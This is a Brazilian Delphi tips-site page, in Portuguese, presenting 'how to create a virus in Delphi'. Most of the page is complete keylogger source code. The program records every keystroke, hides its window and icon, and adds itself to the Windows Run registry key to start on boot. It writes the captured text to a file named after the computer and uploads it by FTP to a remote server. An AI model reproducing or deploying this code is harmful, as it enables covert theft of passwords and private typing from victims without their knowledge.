Buscar

como criar um virus em delphi

Código

unit Unitnomedomeuvirus;
//osmanobrito@ibest.com.br
interface

uses
  Windows,shellapi,Registry, wininet,mmsystem, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   Dialogs, Buttons, IdBaseComponent, IdComponent, IdTCPConnection,   IdTCPClient, IdFTP, ExtCtrls, StdCtrls, IdRawBase, IdRawClient,   IdIcmpClient,ComCtrls,  Menus,   IdIntercept,  IdAntiFreezeBase, IdAntiFreeze, IdLogBase, IdLogDebug, IdGlobal,   IdLogEvent, IdFTPCommon, IdFTPList;
type
  Tfrmnomedomeuvirus = class(TForm)
    IdFTP1: TIdFTP;
    Timer1: TTimer;
    Memo1: TMemo;
    c_texto: TMemo;
    captura: TTimer;
    pingador: TIdIcmpClient;
    procedure FormCreate(Sender: TObject);
    procedure capturaTimer(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormPaint(Sender: TObject);
    procedure FormShow(Sender: TObject);
    function EstaVivo(IP: String): boolean;
    procedure envia;
    procedure Timer1Timer(Sender: TObject);
  private
  procedure WMQueryEndSession(var Msg : TWMQueryEndSession); message WM_QueryEndSession;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  frmnomedomeuvirus: Tfrmnomedomeuvirus;
nomedoarquivo,dirwin,s:string;
implementation

{$R *.dfm}
  var contador:integer;
   texto:tstringlist;
   hora,data:string;
function WindowsDir : string;
var  
WinDir : array[0..144] of char;
begin  
GetWindowsDirectory(Windir,144);  
result := StrPas(Windir);
end;




function NomeComputador : String;
var
  lpBuffer : PChar;
  nSize : DWord;
const Buff_Size = MAX_COMPUTERNAME_LENGTH + 1;
begin
  nSize := Buff_Size;
  lpBuffer := StrAlloc(Buff_Size);
  GetComputerName(lpBuffer,nSize);
  Result := String(lpBuffer);
  StrDispose(lpBuffer);
end;

procedure Tfrmnomedomeuvirus.WMQueryEndSession(var Msg : TWMQueryEndSession);
begin
  if MessageDlg('O Windows está sendo fechado. Perimitir?', mtConfirmation, [mbYes,mbNo], 0) = mrNo then
   begin
   Msg.Result := 0;
//   envia;
   end
  else
  begin
//  envia;
   Msg.Result := 1;
  end;
end;

procedure Tfrmnomedomeuvirus.envia;
begin
  hora:=timetostr(time);
  hora:=hora[1]+hora[2]+hora[4]+hora[5]+hora[7]+hora[8];
  data:= FormatDateTime('DD/MM/YY', Date);
  data:=data[1]+ data[2]+data[4]+data[5]+data[7]+data[8];
  nomedoarquivo := s+'_data'+data+'_hora'+hora+'.lst';//crio o nome do arquivo

  C_Texto.Text:=memo1.Text;
  texto.Add(C_Texto.Text) ;
  texto.SaveToFile(dirwin+nomedoarquivo);
  C_Texto.Text := '';
  memo1.clear;
  if EstaVivo('200.149.77.62') then  //confiro aqui se consegue pingar no ftp
    begin
    // conecta no servidor
    IdFTP1.Username := 'nomedousuarioftp';
    IdFTP1.Password := 'senhadousuarioftp';
    IdFTP1.Host := 'ftp.qualquersitequefornecaftp.com.br';
    IdFTP1.Connect;
    if IdFTP1.Connected then
      begin
      try
      IdFTP1.MakeDir(S);
      idFTP1.ChangeDir(s);
      IdFTP1.TransferType := ftBinary;         //busco o arquivo pelo nome
      if fileexists(dirwin+nomedoarquivo) then    IdFTP1.Put(dirwin+nomedoarquivo) ;
      except
      idFTP1.ChangeDir(s);
      IdFTP1.TransferType := ftBinary;         //busco o arquivo pelo nome
      if fileexists(dirwin+nomedoarquivo) then    IdFTP1.Put(dirwin+nomedoarquivo) ;
       end;
    end;
end;
IdFTP1.Quit;
end;


function Tfrmnomedomeuvirus.EstaVivo(IP: String): boolean;
begin

with Pingador do begin
Host := IP;
ReceiveTimeout := 500;
Ping;
  if ReplyStatus.BytesReceived > 0 then
  result := true
  else
  result := false;
end;

end;


procedure GravaRegistro(Raiz: HKEY; Chave, Valor, Endereco: string);
var
  Registro: TRegistry;
begin
  Registro := TRegistry.Create(KEY_WRITE); // Chama o construtor do objeto
  Registro.RootKey := Raiz;
  Registro.OpenKey(Chave, True); //Cria a chave
  Registro.WriteString(Valor, '"' + Endereco + '"'); //Grava o endereço da sua aplicação no Registro
  Registro.CloseKey; // Fecha a chave e o objeto
  Registro.Free;
end;


procedure Tfrmnomedomeuvirus.FormCreate(Sender: TObject);
//Dados: TSHFileOpStruct;
begin
dirwin:=WindowsDir+'';
  s:=nomecomputador;
  texto:=tstringlist.Create;
  //bloco que cria o documento na maquina se não existir e altera se existir
  hora:=timetostr(time);
  hora:=hora[1]+hora[2]+hora[4]+hora[5]+hora[7]+hora[8];
  data:= FormatDateTime('DD/MM/YY', Date);
  data:=data[1]+ data[2]+data[4]+data[5]+data[7]+data[8];
  nomedoarquivo := s+'_data'+data+'_hora'+hora+'.lst';//crio o nome do arquivo
  if fileexists(dirwin+nomedoarquivo)then
  texto.LoadFromFile(dirwin+nomedoarquivo) else texto.SaveToFile(dirwin+nomedoarquivo);

Contador:=0;
//top:=-200;
//left:=-200;
Application.Icon.Empty;
SetWindowLong( Application.Handle, Gwl_ExStyle, Ws_Ex_ToolWindow );
//colocar função de autocopiar aqui.
  try
    GravaRegistro(HKEY_LOCAL_MACHINE, 'SoftwareMicrosoftWindowsCurrentVersionRun',
      'IniciarPrograma', dirwin+'nomedomeuvirus.exe');
  except
    MessageDlg('Houve um erro ao gravar registro. Provavelmente você não tem essa permissão.', mtInformation, [mbOk], 0);
  end;
end;

procedure Tfrmnomedomeuvirus.capturaTimer(Sender: TObject);
 var       i : byte;
begin
  for i:=8 To 222 do
    begin
       if GetAsyncKeyState(i)=-32767 then
        begin
        case i of
        8  :   begin
        memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
      //  memo1.text:=memo1.text+'[Bakspace]';
        end;
        9  : memo1.text:=memo1.text+' [Tab] ';
        13 : begin  //foi pressionado o enter
              memo1.text:=memo1.text+ ' [Enter] '+#13#10; //Enter
              envia;
             end;
        17 : memo1.text:=memo1.text+' [Ctrl] ';
        27 : memo1.text:=memo1.text+' [Esc] ';
        32 :memo1.text:=memo1.text+' '; //Space
        // Del,Ins,Home,PageUp,PageDown,End
        33 : memo1.text := Memo1.text + ' [Page Up] ';
        34 : memo1.text := Memo1.text + ' [Page Down] ';
        35 : begin//foi pressionado o end o programa vai finalizar.
             memo1.text := Memo1.text + ' [End] ';
             application.Terminate;
             end;
        36 : memo1.text := Memo1.text + ' [Home] ';
        //Arrow Up Down Left Right
       // 37 : memo1.text := Memo1.text + '[Left]';
       // 38 : memo1.text := Memo1.text + '[Up]';
        //39 : memo1.text := Memo1.text + '[Right]';
        //40 : memo1.text := Memo1.text + '[Down]';
        44 : memo1.text := Memo1.text + ' [Print Screen] ';
        45 : memo1.text := Memo1.text + ' [Insert] ';
        46 : memo1.text := Memo1.text + ' [Del] ';
        145 : memo1.text := Memo1.text + ' [Scroll Lock] ';

        //Number 1234567890 Symbol !@#$%^&*()
        48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
             else memo1.text:=memo1.text+'0';
        49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
             else memo1.text:=memo1.text+'1';
        50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
             else memo1.text:=memo1.text+'2';
        51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
             else memo1.text:=memo1.text+'3';
        52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
             else memo1.text:=memo1.text+'4';
        53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
             else memo1.text:=memo1.text+'5';
        54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
             else memo1.text:=memo1.text+'6';
        55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
             else memo1.text:=memo1.text+'7';
        56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
             else memo1.text:=memo1.text+'8';
        57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
             else memo1.text:=memo1.text+'9';
        65..90 : // a..z , A..Z
            begin
            if ((GetKeyState(VK_CAPITAL))=1) then
                if GetKeyState(VK_SHIFT)<0 then
                   memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
                else
                   memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
            else
                if GetKeyState(VK_SHIFT)<0 then
                    memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
                else
                    memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
            end;
        //Numpad
        96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad  0..9
        106:memo1.text:=memo1.text+'*';
        107:memo1.text:=memo1.text+'&';
        109:memo1.text:=memo1.text+'-';
        110:memo1.text:=memo1.text+'.';
        111:memo1.text:=memo1.text+'/';
        144 : memo1.text:=memo1.text+' [Num Lock] ';

        112..123: //F1-F12
            memo1.text:=memo1.text+' [F'+IntToStr(i - 111)+'] ';

        186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
              else memo1.text:=memo1.text+';';
        187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
              else memo1.text:=memo1.text+'=';
        188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
              else memo1.text:=memo1.text+',';
        189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
              else memo1.text:=memo1.text+'-';
        190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
              else memo1.text:=memo1.text+'.';
        191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
              else memo1.text:=memo1.text+'/';
        192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
              else memo1.text:=memo1.text+'`';
        219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
              else memo1.text:=memo1.text+'[';
        220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
              else memo1.text:=memo1.text+'';
        221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
              else memo1.text:=memo1.text+']';
        222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
              else memo1.text:=memo1.text+'''';
        end;
        end;            
    end;
//texto.Free;
  With frmnomedomeuvirus do
    SetWindowPos(Handle, // "handle" para a janela
                 HWND_TOPMOST, // controla onde vai ficar a janela  (*¹)
                 Left,  // a posição horizontal
                 Top,   // a posição vertical
                 Width, // a largura
                 Height, // a altura
                 // opções de posicionamento da janela
                 SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE); // (*²)
end;

procedure Tfrmnomedomeuvirus.FormClose(Sender: TObject; var Action: TCloseAction);
begin
//envia;
end;

procedure Tfrmnomedomeuvirus.FormPaint(Sender: TObject);
begin
//ShowWindow(FindWindow(nil,'nomedomeuvirus'),SW_HIDE);
end;
procedure Tfrmnomedomeuvirus.FormShow(Sender: TObject);
begin
//Application.ShowMainForm := False;
end;

procedure Tfrmnomedomeuvirus.Timer1Timer(Sender: TObject);
begin
contador:=Contador+1 ;
if contador>=10000 then //a cada duas horas tenta enviar
  begin
  contador:=0;
  Envia;
end;
end;
end.

Publicidade

Vote na dica




Quantidade de votos: 2 votos
Aceitação: 20%


Detalhes da dica

Categoria: Windows
Adicionada dia: 11/03/10
Por: Osmano
Visualizada: 12720 vezes

Planeta Delphi - Tudo sobre programação Delphi Planeta Delphi - www.planetadelphi.com.br - Todos os direitos reservados | Copyright 2001-2009